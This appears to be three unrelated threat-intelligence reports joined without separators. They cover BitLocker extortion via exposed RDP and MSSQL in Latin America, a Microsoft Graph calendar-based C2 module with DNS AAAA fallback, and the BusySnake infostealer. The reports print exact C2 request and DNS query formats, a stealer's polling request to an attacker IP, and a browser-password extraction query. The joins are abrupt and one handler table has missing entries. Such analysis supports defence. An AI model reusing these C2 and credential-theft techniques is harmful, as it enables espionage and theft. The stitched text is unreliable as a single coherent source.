Recently, our teams in Latin America investigated a series of incidents involving misconfiguration, the deployment of BitLocker, and the exploitation of corporate printers. Attackers used the devices to notify organizations that their infrastructure had been compromised and they had to pay a ransom to recover their data.
This article analyzes two incidents that occurred in June in Colombia and in May in Mexico. We highlight the similarities in the attackers’ communications and outline emerging trends in ransom amounts.
Initial sign of an attack
In both cases, the affected users initially noticed a padlock icon next to their drives in Windows Explorer. This indicated that the drive was encrypted with BitLocker, blocking access to its contents.
Drive icon indicating that the drive is locked
A recovery key was required to unlock the drive.
Attempt to access the disk’s contents and the prompt for the BitLocker recovery key
This is not the first time we have seen such threats; a few years ago, our team discovered a threat known as ShrinkLocker, which utilized BitLocker to achieve its goals.
First case: abusing RDP to encrypt data
One of the incidents occurred in Colombia in June. The attackers exploited an internet-exposed RDP service on a machine connected to an 8 TB storage device containing mission-critical data. After taking control of the system and manipulating user credentials, the attackers enabled BitLocker exclusively on the drive that primarily stored financial data. Once the encryption was complete, they locked the drive and used the company’s printers to produce ransom notes.
Ransomware note
Unfortunately, it was not possible to obtain evidence in the case due to the company’s rush to restore the encrypted disk. The communication with the attackers revealed a demand for just $3,000, and the company considered paying the ransom. After that, the system was restored before the forensic team could take any action, eliminating the evidence needed to assess the incident.
Attacker’s reply to the victim’s email sent to the address in the printed ransom note
This attack was made possible by an internet-facing remote desktop service (RDP) with additional open ports, which employees used to access corporate information. By exploiting this network exposure and misconfiguration, attackers breached the system, identified an additional drive, and leveraged BitLocker to encrypt the data and demand a ransom payment. Leaving RDP ports open without proper security controls jeopardizes the security of systems and information, as highlighted in the our “Global Report: Anatomy of a Cyber World“.
Exposed ports identified in the system in recent months
The company confirmed that, due to compatibility issues with applications required for operation, EPP (Endpoint Protection Platform) protection was disabled on the system, making it easier for attackers to validate, enumerate, and execute applications without revealing malicious activity to central monitoring systems.
Second case: meet the XEntry Team
In another incident, which occurred in Mexico in May, our team identified how the threat actor gained initial access to the infrastructure. They exploited a misconfigured MSSQL service. This allowed them to execute commands on the system after obtaining the database login credentials from code insecurely published on GitHub.
XEntry team attack
In this incident, the attack began three months prior to detection, with the intruder discovering and verifying their access to the environment. After confirming their access and privilege level within the MSSQL server settings, which extended beyond the DBMS to the underlying operating system, the attackers initially focused on manipulating certain aspects of the web server configuration on the same system. They lowered the server’s security settings and created web shell files in the publicly accessible folders. Many of these attempts to manipulate the service or create malicious files were contained by existing EPP security controls, but despite the alerts, the necessary investigation to address the activity was not conducted.
Commands executed when attempting to manipulate the web server
The attackers subsequently confirmed their ability to execute commands locally and set up their attack infrastructure to transmit data via a communications bridge. By exploiting the MSSQL service, they gained access to each of the organization’s internal systems.
The database engine used by the company was Microsoft SQL Server 2019.0150.2160.04, misconfigured to allow operating system сommand execution via the xp_cmdshell extended stored procedure.
Due to this misconfiguration of an internet-exposed service, the attackers established a channel capable of executing any type of command directed at the server and the local infrastructure within its scope.
Attack path
One of the main objectives was to identify shared systems and resources that provided access to critical information. Our analysis confirmed the attackers’ access to systems storing configuration parameters for networking, enterprise management, and cloud services, among others.
A subset of the critical information identified and collected by the attackers
In early May, the attackers focused on running additional scans and deploying ManageEngine’s Endpoint Central RMM (Remote Monitoring and Management) to establish persistence and begin the final stages of their intrusion.
Scanning and RMM deployment
Further RMM-type applications, such as Mesh Agent and Tactical RMM, were installed in the days that followed. These were used to deploy scheduled tasks responsible for enabling the BitLocker service and individually encrypting the infrastructure’s disks, generating a key for each encrypted system.
Commands executed through RMM tools to collect Bitlocker keys
Finally, in mid-May, the attackers managed to execute a Group Policy Object (GPO) used to deploy activation and encryption tasks, as well as other policies responsible for continued deployment of RMM applications via scheduled tasks. The activity initially targeted critical systems but later spread to every system synchronized with the domain controller. Users became aware of the attack when their machines displayed a blue screen with the message “Hacked by XEntry Team”, and their credentials stopped working to access their systems.
A few hours later, ransom notes began emerging from office printers.
Ransom note printed by the XEntry team
These cases confirm that adversary’s objective is to gain access to infrastructure while avoiding investment in or partnership with ransomware groups. Instead, they leverage built-in Microsoft tools to facilitate data encryption and ransom payments. Monitoring and centralizing logs on protected resources, as well as promptly managing alerts, are critical to countering this type of intrusion.
Conclusions
Although the systems under review had security measures in place, there was a lack of proper alert management or inadequate decisions regarding application incompatibilities.
We strongly recommend configuring the Remote Desktop Protocol (RDP) in strict accordance with cybersecurity best practices to prevent unauthorized access. This is especially critical: according to our Global Report: Anatomy of a Cyber World, more than 13% of incidents are related to policy violations and configuration errors, confirming that misconfigurations continue to pose a significant risk.
Organizations should prioritize strict application control policies and active monitoring of network traffic for command-and-control (C2) communications. This is especially critical: according to the same report, more than 20% of incidents involved the abuse of RMM (Remote Monitoring and Management) tools for execution and C2 strategies. The fact that attackers used more than three distinct tools to gain control during a single incident further underscores the urgent need for these measures.
Some questions remain unanswered due to a lack of evidence and a hasty system restoration effort that bypassed critical stages of the incident response process. It is important to ensure an adequate incident response procedure, preserving evidence to confirm all related activities, and adjusting or proposing controls to prevent future incidents involving similar TTPs.
Although the ransom notes do not reveal a clear connection between the actors, certain words used in the messages, as well as the method of delivery and communication, may confirm a link:
“As a guarantee, we have no negative online reviews about non-fulfillment of our obligations…” (Ransom note from the first case)
“Our reputation is the guarantee that all content will be fulfilled…” (Ransom note from the second case)
In June 2026, as part of our Kaspersky Threat Intelligence Reporting service, we published extensive research on Project CAV3RN, a sophisticated modular framework used for cyberespionage activity against targets in Israel. We have been tracking this cluster since December 2025, and in late April 2026, we observed a major architectural shift: the developers moved from a three-component framework consisting of a downloader, executor, and uploader to a controller-based architecture with a dedicated WebSocket-enabled C2 communication component and a more extensible plugin system designed to support modular post-exploitation capabilities.
Subsequently, Check Point Research publicly reported on the same controller-based architecture in July 2026. However, neither our previous research nor the subsequent public reporting covered the latest communication component analyzed in this report.
Following our June 2026 publication, we identified a .NET Native AOT communication module that is apparently designed to replace the previous HTTP/WebSocket component. It exchanges commands and results through Outlook calendar events accessed via Microsoft Graph. If Microsoft Graph authentication or tenant validation fails, the module attempts to retrieve replacement connection settings through DNS AAAA responses.
Module network communication architecture
During the preparation of this report, additional public research covering this communication component became available. The research presented in our article is based on our independent analysis and includes several additional implementation details that complement the existing public reporting.
Technical details
The previously reported controller-based CAV3RN architecture separates C2 communication from command execution. The controller, uxtheme.dll, generates and maintains the seven-character Agent ID, manages the polling loop, processes built-in commands, and dispatches other tasks or commands to separate plugins. The previously used communication component, n-HTCommp.dll, retrieved commands and transmitted execution results over HTTP/WebSocket.
Project CAV3RN architecture (April 2026)
The module performs the same communication role but uses Outlook calendar events accessed through Microsoft Graph. Similarly to the previous version, its get and send interface and use of the same controller-generated Agent ID suggest that it was designed to replace the previous communication component. However, because the corresponding updated controller was not recovered, this replacement role is assessed rather than directly observed.
C2 communication module
The communication module, AzureCommunication.dll, is a DLL compiled with .NET Native AOT, consistent with several other components of the Project CAV3RN framework that are publicly documented. Such a compilation method turns the managed application into native machine code and removes most of the metadata and intermediate language that normally make .NET assemblies straightforward to analyze.
The module exposes its functionality through a single export named QueryInterface. We expect an updated controller to load the DLL, resolve this export, and pass it a null-terminated UTF-16 string. The accepted input format closely follows the interface used by the previously documented CAV3RN controller.
The _;;_ delimiter separates the operation from its arguments, while _,_ separates the arguments.
For get, the module only uses the first argument as the Agent ID. For send, it uses only the Agent ID and the result. In both cases, the additional legacy URL is ignored. It remains part of the interface for compatibility with the controller, even though the new module obtains its destination and credentials from its own Microsoft Graph configuration.
Outlook calendar events as a C2 channel
The DLL contains a complete default configuration, including the Microsoft Entra tenant ID, application credentials, target mailbox, DNS bootstrap host, and cryptographic keys required to establish communication.
Before processing either get or send operation, the module looks for a relative file named logAzure.txt. Because the code supplies only a filename, Windows resolves it against the current working directory of the process hosting the DLL.
If logAzure.txt exists, the module reads and deserializes it. If it is absent, the module builds the configuration from the hardcoded values and writes the complete object to disk with the following structure:
{
"TenantId": "******-****-****-****-**********", // Microsoft Entra tenant ID
"ClientId": "********-****-****-****-************", // application/client ID
"ClientSecret": "********************************************",
"UserEmail": "***@*********.co.il", // Compromised target Microsoft 365 mailbox
"Host": "cloudlanecdn[.]com", // DNS bootstrap domain
"PublicKey": "-----BEGIN RSA PUBLIC KEY-----\r\n[omitted]\r\n-----END RSA PUBLIC KEY-----", // outbound encryption public key
"PrivateKey": "-----BEGIN RSA PRIVATE KEY-----\r\n[omitted]\r\n-----END RSA PRIVATE KEY-----" // inbound decryption private key
}
Using the resulting configuration, the module creates a Microsoft Graph client and validates access by requesting the tenant’s organization record through a GET request to https://graph.microsoft.com/v1.0/organization.
Attempting this request causes the Azure Identity library to obtain an OAuth application token:
POST https://login.microsoftonline.com/<TenantId>/oauth2/v2.0/token
client_id=<ClientId>
client_secret=<ClientSecret>
scope=https://graph.microsoft.com/.default
grant_type=client_credentials
After successful authentication, the module includes the token in subsequent Graph requests using the Authorization: Bearer <access-token> header. The module uses the default calendar of the configured mailbox as a dead-drop channel. Commands, heartbeats, and results all occupy the same fixed one-hour window 2050-05-13 22:00–23:00 UTC.
Scheduling the events for 2050 makes them unlikely to appear in ordinary calendar views. The calendar event subject identifies each event’s purpose and associated Agent ID. Heartbeat and result subjects append the fixed suffix 1500 to this value; the suffix is not part of the Agent ID.
Subject format
Purpose
Module behavior
Event ID: <agent-id>
Operator-to-agent command
Searches for the event, downloads its attachments, and deletes it after consumption
Boss update ID: <agent-id>1500
Agent heartbeat
Deletes the previous heartbeat event and creates a replacement
Boss Report ID: <agent-id>1500
Agent-to-operator command output
Creates an event, uploads encrypted result attachments, and assigns the final subject
Receiving a command
For a get request, the module queries calendarView and filters the results by the Agent ID:
GET /v1.0/users/***@*********.co.il/calendarView?startDateTime=2050-05-13T22:00:00&endDateTime=2050-05-13T23:00:00&$filter=contains(subject,'Event ID: <agent-id>')
If Graph returns one or more matches, the module selects the first returned event and requests its attachments:
GET /v1.0/users/***@*********.co.il/events/<EventId>/attachments
Authorization: Bearer <access-token>
After obtaining the attachment response, the module deletes the calendar event:
Our analysis found a consistent difference in capitalization between command and result attachments:
Attachment name
Direction
Associated subject
file0.txt
Operator to agent
Event ID: <agent-id>
File0.txt
Agent to operator
Boss Report ID: <agent-id>1500
Inbound command decryption
Inbound commands use a combination of RSA and AES-GCM encryption. Once the attachments have been sorted and concatenated, the reconstructed encrypted command buffer begins with a 256-byte RSA-encrypted block containing the 32-byte AES key. The communication module decrypts this block with the RSA private key stored in its configuration, using RSA-OAEP with SHA-256.
The following 12 bytes contain the AES-GCM nonce, while the final 16 bytes contain the authentication tag. Everything between the nonce and tag is ciphertext. The module uses the recovered AES key to decrypt and authenticate this ciphertext with AES-256-GCM.
Encrypted attachment stored in a calendar event
After RSA-OAEP-SHA256 and AES-256-GCM decryption, the 63-byte ciphertext produces {"cid": "alXBCzcDl8hBuNE", "type": "self", "cmd": "003_;;__,_"}.
Decrypted command
The cid field appears to serve as a unique command-correlation identifier. As described in a previous publication of the framework, when the operator sets the JSON type field to self, the controller routes the command to its internal handler rather than dispatching it to an external plugin. In this command, the cmd field contains 003_;;__,_, where command 003 instructs the controller to toggle debug logging. After decryption, the communication module returns the complete command to the external controller through QueryInterface.
Sending command output
For a send request, the controller passes the command output to the communication module. The module encrypts the output using a newly generated AES-256-GCM key and protects that key with the configured RSA public key. It then divides the encrypted payload into chunks of up to 10 MiB.
To publish the result, the module creates a calendar event with the temporary subject d and attempts to add each encrypted chunk as a sequentially named attachment, such as File0.txt and File1.txt. After adding the attachments, it changes the subject to Boss Report ID: <agent-id>1500, marking the event as a completed result.
This process uses the following sequence of Microsoft Graph requests:
POST /v1.0/users/***@*********.co.il/calendar/events
POST /v1.0/users/***@*********.co.il/calendar/events/<EventId>/attachments
PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Together, the uploaded attachments contain fragments of one encrypted result package: the RSA-encrypted AES key, AES-GCM nonce, encrypted command output, and authentication tag. Recovering outbound results requires the private key corresponding to the outbound public key. This private key is assessed to be held separately by the attacker.
Heartbeat handling
The module maintains a heartbeat event identified by the subject Boss update ID: <agent-id>1500. The module searches the same fixed calendar window for a previous heartbeat associated with the agent. If one exists, the module deletes it and creates a replacement event with the temporary subject d through the following sequence of Microsoft Graph requests:
GET /v1.0/users/***@*********.co.il/calendarView
DELETE /v1.0/users/***@*********.co.il/events/<EventId>
POST /v1.0/users/***@*********.co.il/events
Finally, it updates the newly created event through the following PATCH request, replacing the temporary subject d with Boss update ID: <agent-id>1500.
Heartbeat events use the same one-hour window in 2050 but contain no attachments.
The following figure summarizes the module’s operational workflow.
DNS AAAA configuration recovery mechanism
When OAuth token acquisition or the subsequent GET /v1.0/organization validation request fails, the module attempts to retrieve replacement TenantId, ClientId, ClientSecret, and UserEmail values through actor-controlled AAAA responses.
DNS-based configuration recovery (simplified)
The module uses cloudlanecdn[.]com as its configuration-recovery domain. The domain is delegated to four actor-controlled authoritative nameservers, ns1 through ns4.cloudlanecdn[.]com, allowing the operator to generate different AAAA responses according to the Agent ID, configuration field, and fragment offset.
The module submits the generated DNS queries through the operating system’s configured recursive resolver, which follows the domain’s delegation to one of the authoritative nameservers. The returned IPv6 address is treated as a 16-byte container for protocol data rather than as a network destination.
For both get and send operations, the controller supplies the seven-character Agent ID as the first argument to QueryInterface. The communication module converts its UTF-8 bytes into two-character uppercase hexadecimal values. For example, SFmLgQZ becomes 53 46 6D 4C 67 51 5A, which the module concatenates as 53466D4C67515A.
The hexadecimal identifier is then embedded in every recovery query. The module retrieves four Microsoft Graph configuration values in a fixed order, with each value assigned a numeric index:
Index
Configuration value
0
TenantId
1
ClientId
2
ClientSecret
3
UserEmail
Determining the field length through .p. queries
For each configuration value (TenantId, ClientId, ClientSecret, and UserEmail), the module first sends an AAAA query to determine the value’s total length: d.<hex-agent-id>.<field-index>.p.<host>.
In this format, <hex-agent-id> is the uppercase hexadecimal representation of the Agent ID supplied by the controller. The <field-index> identifies the requested configuration value according to the table above; for example, index 0 represents TenantId. The p marker indicates a length request, while <host> contains the configured DNS recovery domain, cloudlanecdn[.]com.
As an example, the following AAAA DNS query requests the length of the TenantId associated with Agent ID SFmLgQZ:
d.53466D4C67515A.0.p.cloudlanecdn[.]com
The AAAA response 2001:24:1234:5678:9abc:def0:1122:3344 corresponds to the byte sequence 20 01 00 24 12 34 56 78 9A BC DE F0 11 22 33 44. The module discards the first two bytes and interprets the following two bytes, 00 24, as a big-endian field length. This produces the value 0x0024, or 36 bytes. The remaining 12 bytes are ignored. The initial 2001 group is not treated as a network destination or strictly validated as a protocol marker; it simply occupies the two bytes that the module discards.
IPv6 AAAA record payload layout for obtaining length
In the observed example, the same process produced a 36-byte TenantId, a 36-byte ClientId, a 40-byte ClientSecret, and a 28-byte UserEmail. The protocol itself supports other lengths because each value’s length is supplied dynamically by its .p. response.
To illustrate this process, we reproduced the protocol in a controlled environment using a laboratory domain.
Field length encoding in DNS AAAA record responses (example)
Retrieving configuration data through .q. queries
After obtaining the field length from the .p. response, the module allocates a buffer of exactly that size and initializes an offset to 0. It then requests the field data using the following format: d.<hex-agent-id>.<field-index>.<offset>.q.<host>.
The <field-index> identifies the requested configuration value, while <offset> specifies where the fragment belongs in the output buffer. After checking for the sentinel address, the module discards the first two bytes of each normal .q. response and copies up to 14 of the remaining bytes. For the final response, it copies only the bytes required to reach the declared field length.
Queries continue at 14-byte offsets until the declared field length has been recovered.
The following figure shows the three .q. requests required to reconstruct a 36-byte TenantId.
TenantId retrieval process via DNS AAAA records (example)
In our laboratory responses, the first two bytes appear as the IPv6 group 2001 and are discarded. The responses at offsets 0 and 14 each provide 14 bytes, while the response at offset 28 supplies the final eight bytes. Concatenating and decoding these fragments produces the complete TenantId, 6f9d2a41-8c73-4b56-a1e8-2d407c95f3ab, as shown in the example figure.
The module repeats this procedure for ClientId, ClientSecret, and UserEmail. After reconstructing each value, it decodes the buffer as UTF-8, updates the corresponding configuration field, and writes the complete configuration to logAzure.txt. Once all four fields have been recovered, the module creates a new Graph client, repeats the /organization validation request, and resumes the original get or send operation if validation succeeds.
The DNS recovery mechanism updates only the TenantId, ClientId, ClientSecret, and UserEmail fields. It does not replace the configured DNS recovery host, RSA public or private keys, offering limited rotation for updating the domain itself that is used within the DNS fallback mechanism.
Failure handling and the sentinel AAAA response
In this module, the hard-coded IPv6 address 2001:4998:44:3507::8000 acts as a failure sentinel. After resolving an AAAA query, the module converts the first returned address to a string and compares it with this value before extracting any bytes. If the values match, it raises an exception and does not interpret the response as either a field length or configuration data.
The address belongs to Yahoo’s 2001:4998::/32 allocation. We could not determine why the developers selected it. The authoritative backend may return it for an unknown Agent ID, an unavailable field, an invalid index or offset, or an agent for which recovery is disabled. These conditions remain hypothetical because the backend was unavailable and the module handles every sentinel response in the same way.
Infrastructure
Historical DNS data shows that cloudlanecdn[.]com was registered on December 24, 2025. The domain initially used the Namecheap-operated nameservers dns1.registrar-servers.com and dns2.registrar-servers.com. On May 2, 2026, passive DNS first observed a transition from these vendor-managed nameservers to custom nameservers under cloudlanecdn[.]com.
Domain
IP
First seen
ASN
Hosting
ns1.cloudlanecdn[.]com
216.126.237[.]197
144.172.108[.]205
May 2, 2026
AS 14956
RouterHosting LLC
ns2.cloudlanecdn[.]com
216.126.237[.]197
144.172.108[.]205
May 2, 2026
AS 14956
RouterHosting LLC
ns3.cloudlanecdn[.]com
216.126.237[.]197
144.172.108[.]205
May 2, 2026
AS 14956
RouterHosting LLC
ns4.cloudlanecdn[.]com
144.172.108[.]205
May 21, 2026
AS 14956
RouterHosting LLC
Although the domain was delegated to four nameserver hostnames, their shared IP addresses reveal logical redundancy rather than four independently hosted DNS servers.
The shift from vendor‑managed DNS to custom in‑bailiwick authoritative nameservers aligns with the module’s DNS recovery design.
The DNS timeline overlaps with this new module’s development. Passive DNS first recorded the custom delegation on May 2, after the controller-and-plugin architecture was observed in April and before the May 19 timestamp stored in the new module. Because the custom authoritative infrastructure supports the module’s recovery protocol, we assess with moderate confidence that the infrastructure and module were prepared as part of the same development cycle.
Attribution
In our previous report, we attributed Project CAV3RN to OilRig (APT34) with low confidence. Analysis of the newly identified module provides additional evidence supporting this link.
Microsoft-hosted services for C2
Several OilRig malware strains have used Microsoft-hosted services for C2. RDAT malware exchanged commands and results through EWS email messages, and there are cases reported with the SC5k malware using Office 365 drafts, and OilCheck malware using Microsoft Graph to access Outlook drafts. CAV3RN uses the same class of service but stores commands and results in Outlook calendar events.
Secondary recovery mechanism for cloud C2
ESET previously documented OilBooster, which retrieved a replacement OAuth refresh token from a likely compromised website after repeated failures communicating with Microsoft OneDrive.
OilBooster used HTTP to recover a refresh token, whereas CAV3RN uses DNS AAAA records to recover four configuration fields. In both cases, the secondary mechanism restores access to the primary cloud C2 channel.
Compromised regional infrastructure
OilRig has previously used compromised infrastructure belonging to organizations in the regions it targets. Solar malware communicated through the compromised website of an Israeli human-resources company, while Whisper/Veaty malware used compromised Iraqi government Microsoft 365 mailboxes. The CAV3RN module similarly uses a compromised Microsoft 365 mailbox belonging to an Israeli law firm.
Based on the evidence discussed above, we retain our low-confidence assessment that Project CAV3RN is associated with OilRig. The new module shares several behavioral patterns with previously reported OilRig tooling, including the use of Microsoft-hosted services, attachment-based command exchange, and a secondary mechanism for restoring access to a cloud C2 channel. However, we identified no direct code reuse or infrastructure overlap.
Conclusions
The new module extends CAV3RN’s controller-and-plugin architecture with a Microsoft Graph-based communication transport. Its architectural continuity suggests that it was designed to replace the previous HTTP/WebSocket component with Outlook calendar events. If Graph authentication or validation fails, its DNS recovery protocol is designed to retrieve replacement connection settings.
The framework changed repeatedly between December 2025 and May 2026, indicating that development remains active. We continue to track this activity.
During our routine threat monitoring, we uncovered a new phishing campaign tied to a previously unknown APT group that we dubbed Armored Likho (also known as Eagle Werewolf based on circumstantial evidence). This targeted campaign focuses heavily on government agencies and the electric power sector. The geographical footprint of these attacks spans Russia, Brazil, and Kazakhstan, establishing the group as a global threat actor.
Armored Likho blends financially motivated campaigns targeting private individuals with targeted cyber-espionage aimed at organizations. Their toolkit features obfuscated, modular RATs and infostealers specifically engineered to bypass dynamic analysis. Alongside these, they leverage simpler tools like Go2Tunnel for remote access and network tunneling. This diverse malware stack enables the threat actor to maintain stealthy control of compromised hosts, exfiltrate credentials and other sensitive information, and dynamically deploy downloadable modules tailored to the victim’s profile and the tasks at hand.
Key campaign highlights:
The group is leveraging a previously undocumented tool dubbed BusySnake Stealer. This Python-based infostealer is designed to target Windows systems. We discovered multiple versions of the malware, along with an additional module dedicated to stealing cookies.
The first-stage malicious payload, consisting of loaders and stagers, was generated using AI, which blurs the attackers’ TTPs and complicates attribution efforts.
This campaign highlights several concurrent trends: the growing technical maturity of Armored Likho, tool polymorphism, and a shift toward more complex schemes aimed at bypassing security solutions — ranging from Python source code obfuscation to embedding network mechanisms directly into the malware code. In this post, we’ll dissect the campaign that remains active at the time of publication, as well as the toolkit utilized by the attackers.
Initial infection vector
Phishing remains one of the primary initial access vectors that this threat actor heavily relies on in its latest campaigns. Armored Likho uses spear-phishing emails, with themes ranging from official government notices to social programs. In their most recent campaign, the attackers distributed malicious attachments inside archive files with names such as 1bfb2e79-8084-429e-a35c-8b595ab9f839_psihologicheskiy_test.zip (psychological test) or zayavka_gumanitarnayapomosch.rar (humanitarian aid application). These archives contained executables or LNK files named to mimic the email themes, tricking users into executing them on their devices. Below, we break down several variants of how they achieve initial access.
EXE attachment
In one attack variant, the archive contains a dropper named psihologicheskiy_test.exe, which is a self-extracting archive built using the Nullsoft Scriptable Install System (NSIS). When the victim opens the file, a decoy application launches to disarm suspicion by presenting a fake psychological survey. While we have observed similar droppers in the group’s previous campaigns, those earlier versions were written in Rust.
Once executed, the dropper writes a legitimate executable, $temp\nsn5531.tmp\pnx.exe, to disk and launches it. Code is then injected into the pnx.exe process memory to execute a malicious loader. This loader, in turn, fetches several archives hosted in GitHub repositories. Our analysis of these repositories uncovered early development builds and test samples of the malware. Data release in the repository is automated, allowing for rapid rotation of both payloads and the repositories themselves.
Payload repository example
The downloaded archives are extracted into the $appdata\WindowsHelper directory. This serves as the malware’s working directory, where all subsequent components of the attack are staged and executed.
The fetched package contains the following components:
The primary payload: a stealer named module.pyw
The runtime directory with the components of the PyArmor execution environment
A Python 3.12 interpreter
The get-pip.py script: used to install the pip package manager and fetch required dependencies
Once executed, the script installs pip and pulls down the core dependencies required for the payload to run.
With all dependencies in place, the malware creates two VBScript files in the same $appdata\WindowsHelper directory. The first, wh_selfdelete.vbs, is used to wipe the initial pnx.exe loader from the system:
Loader removal script
The second script, run.vbs, is designed to execute module.pyw and is used to ensure persistence on the system by creating a scheduled task:
Persistence script
This task ensures that the payload, BusySnake Stealer, is executed every five minutes.
LNK attachment
In alternate campaigns, the archive contains a file named Zayavka_[redacted].lnk. The group leveraged the ZDI-CAN-25373 shortcut vulnerability to conceal the contents of their command line. This flaw allows the attackers to use spaces or line breaks to hide execution parameters.
Consequently, when the user runs the malicious LNK file, it triggers the following obfuscated command:
Obfuscated PowerShell command
This, in turn, spawns a PowerShell command that downloads and executes the malicious loader:
Downloading and executing the loader
Upon execution, the loader downloads and opens a decoy DOCX document. We have observed various decoy themes, ranging from humanitarian aid requests to debt clearance certificates.
Decoy documents
Once the decoy is displayed, the loader initializes the environment variables required to stage the next phase, including URL paths, installation directories, and required library manifests. While we observed variations across different first-stage payload samples, their core functionality remains identical.
Variable initialization example in loader code
Next, the loader fetches a Python 3.12 interpreter (python.zip), the get-pip.py script, and a data.zip archive containing the module.pyw payload. From this point, mirroring the first infection vector, the malware installs its dependencies and establishes persistence through a combination of a VBScript file and a scheduled task.
Example of downloading and installing Python and the pip package manager
As shown in the screenshots, the loader’s source code contains verbose comments and bullet-point emojis. This coding style is highly uncharacteristic of human-developed malware. It strongly indicates that the group is leveraging LLMs to generate their malicious payloads.
Ultimately, both infection vectors lead to the execution of the primary payload, which we break down in detail below.
BusySnake Stealer
The primary payload in this campaign is a previously undocumented, Python-based infostealer that we have dubbed BusySnake Stealer.
The stealer’s source code implements multiple evasion techniques designed to thwart detection and complicate static analysis. Specifically, the BusySnake Stealer code is obfuscated and encrypted using PyArmor Pro version 9.2.0. The malware dynamically decrypts its bytecode only at the exact moment a function is called, re-encrypting the data immediately afterward. Additionally, the malware runs in the background without spawning a console window, as indicated by its PYW file extension.
During our analysis, we successfully stripped the protector and disassembled the executable functions. Below, we break down the stealer’s configuration and core functionality.
Before executing its main routines, the malware initializes its configuration file. It contains the C2 server address, directory paths, regular expressions, screenshot intervals, a User-Agent string for network communications, and many more. An example configuration from one of the captured samples is shown below.
Stealer configuration example
The stealer’s architecture relies on handlers, each responsible for specific functions. The table below details the role of each handler.
Handler Name
Description
single_instance_lock
Prevents multiple instances of the stealer from running concurrently on the compromised host.
start_key_clipboard_logger
Steals data from the system clipboard.
start_inventory_background
Enumerates files across the system and logs their metadata into a local database.
extract_hex64_from_file
Attempts to extract 64-character hexadecimal keys from the files.
start_send_documents_priority_background
Forwards user documents to the C2 server.
take_screenshot
Captures screenshots and saves them to the SCREEN_DIR directory.
archive_pngs
Archives captured screenshots and purges previously created archives from the disk.
poll_task
Waits for incoming C2 commands to execute.
ensure_schtask
Checks for the presence of a scheduled task to maintain persistence. If none is found, it drops a VBScript launcher and registers a new scheduled task.
Below, we break down the execution logic of the malware’s core functions.
Upon execution, the malware calls the single_instance_lock function to ensure that only one instance of the stealer is active on the system. To achieve this, the sample utilizes a non-standard lock-file algorithm, rather than traditional methods like creating a mutex or setting a registry value. The function first checks if the file Roaming\WindowsHelper\screenshots\.lock is locked by another process; if it is, the new instance fails to launch. If the file is not locked, the malware reads the Process ID (PID) stored within it. If that process doesn’t exist and the system uptime exceeds the file’s last modification timestamp, the stealer overwrites the lock file and proceeds with execution.
Immediately after initialization, the start_key_clipboard_logger function begins harvesting data from the system clipboard. The malware polls the clipboard contents in an infinite loop, appending any new or updated data to the KEYLOG_FILE using the following format:
Additionally, the stealer maps out the local file system using the start_inventory_background function.
This background process first initializes a database at Roaming\WindowsHelper\inventory_state.db. Within this database, the stealer generates a tracking table to log file metadata:
sqlite3.connect(STATE_DB_PATH)
execute CREATE TABLE IF NOT EXISTS scanned_files (path TEXT PRIMARY KEY,mtime REAL,size INTEGER)'
The malware then enumerates files and directories to build an object tree. During this scanning phase, the stealer explicitly skips core system directories, ignores files larger than 16 MB, and filters out files matching a hardcoded exclusion list of extensions.
Discovered files are passed to the extract_hex64_from_file function to scrape for 64-character hexadecimal keys. The malware opens each file in read mode and scans for strings matching the [0-9a-fA-F]{64} regular expression. Any identified keys are logged into the previously created database. The keys themselves are written to a separate file and forwarded to the C2 server. Once the full scan wraps up, a completion message is committed to the log file using the following format:
Next, the start_send_documents_priority_background function kicks off to map out logical drives. The malware identifies the system drive and recursively sweeps the user directories under /Desktop, /Documents, and /Downloads. During this enumeration phase, it filters the paths — checking only directories whose names start with $ and do not contain the string System Volume Information. Directory contents are also filtered based on an ignore list of extensions. The remaining files are then checked: if a file has not been previously sent and its size does not exceed 5 MB, it is transmitted to the C2 server.
The stealer maintains an active connection with the C2 server to await incoming instructions during execution. The poll_task function polls the C2 server in a continuous loop for new commands. Below is an excerpt of a typical request packet:
GET /get_task?client_id=DESKTOP-[redacted] HTTP/1.1\r\n
Host: 159.198.41.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0
The C2 sign-in form interface is shown below:
C2 administration panel sign-in form
Commands are transmitted from the C2 server as function names, which are detailed in the table below:
Function Name
Description
handle_send_screenshots_command
Captures screenshots at a designated interval, bundles them into an archive, and exfiltrates them to the C2 server.
send_and_clear_keystroke_log
Exfiltrates logged keystroke data to the C2 server and clears the log file afterward.
handle_extract_chromium_passwords
Decrypts stored passwords from Chromium-based browser databases using the DPAPI.
handle_extract_firefox_passwords
Decrypts passwords from Firefox databases by invoking the PK11SDR_Decrypt function.
handle_collect_and_send_cookies
Extracts cookies from browser databases and uploads them to the C2 server.
handle_extract_cookies_v7_command
Extracts cookies by installing an extension into the browser.
handle_search_2fa_secrets_command
Scrapes for OTP keys by continuously monitoring the clipboard and parsing local files; if an otpauth:// string is matched, the key is logged to 2fa_secrets.txt.
handle_search_wallet_jsons_command
Sweeps user directories to locate cryptocurrency wallet files with a JSON extension.
handle_split_and_send_tdata_command
Harvests Telegram session and credential data from the APPDATA/Telegram Desktop/tdata directory; it force-terminates the telegram.exe process, stages the files in a temporary directory, compresses them, and exfiltrates the archive to the C2 server.
Establishes a reverse SSH tunnel using an SSH command and private key previously received from the C2 server.
The second function terminates the connection and purges the key from the host.
handle_remote_control_command
Checks for an active installation of RustDesk on the endpoint. If missing, it downloads the application from GitHub. If already present, it restarts the RustDesk process to prompt the user to re-enter their ID and password, grabs a screenshot of the credentials, and exfiltrates the captured data to the C2 server.
After executing each command, the stealer sends a report back to the C2 server containing the task completion status.
Password exfiltration from Firefox and Chromium-based browsers
When BusySnake Stealer receives a C2 command to harvest passwords from Chromium-based browsers, it passes the task to the handle_extract_chromium_passwords function. The malware locates the specific browser data directory, verifies that it is not empty, and targets the Login State file, which contains the master key used to encrypt the local password database.
Locating the file containing the master key
The master key is protected via the Windows Data Protection API (DPAPI). By operating within the security context of the user who originally encrypted the key, the stealer is able to decrypt it using the win32crypt.CryptUnprotectData() function.
Master key decryption
Then, user accounts are extracted from the browser database via an SQL query, while passwords remain encrypted.
SELECT origin_url, username_value, password_value FROM logins
Next, the passwords are decrypted using a master key and saved in plaintext to the Roaming\WindowsHelper\chromium_passwords.json file.
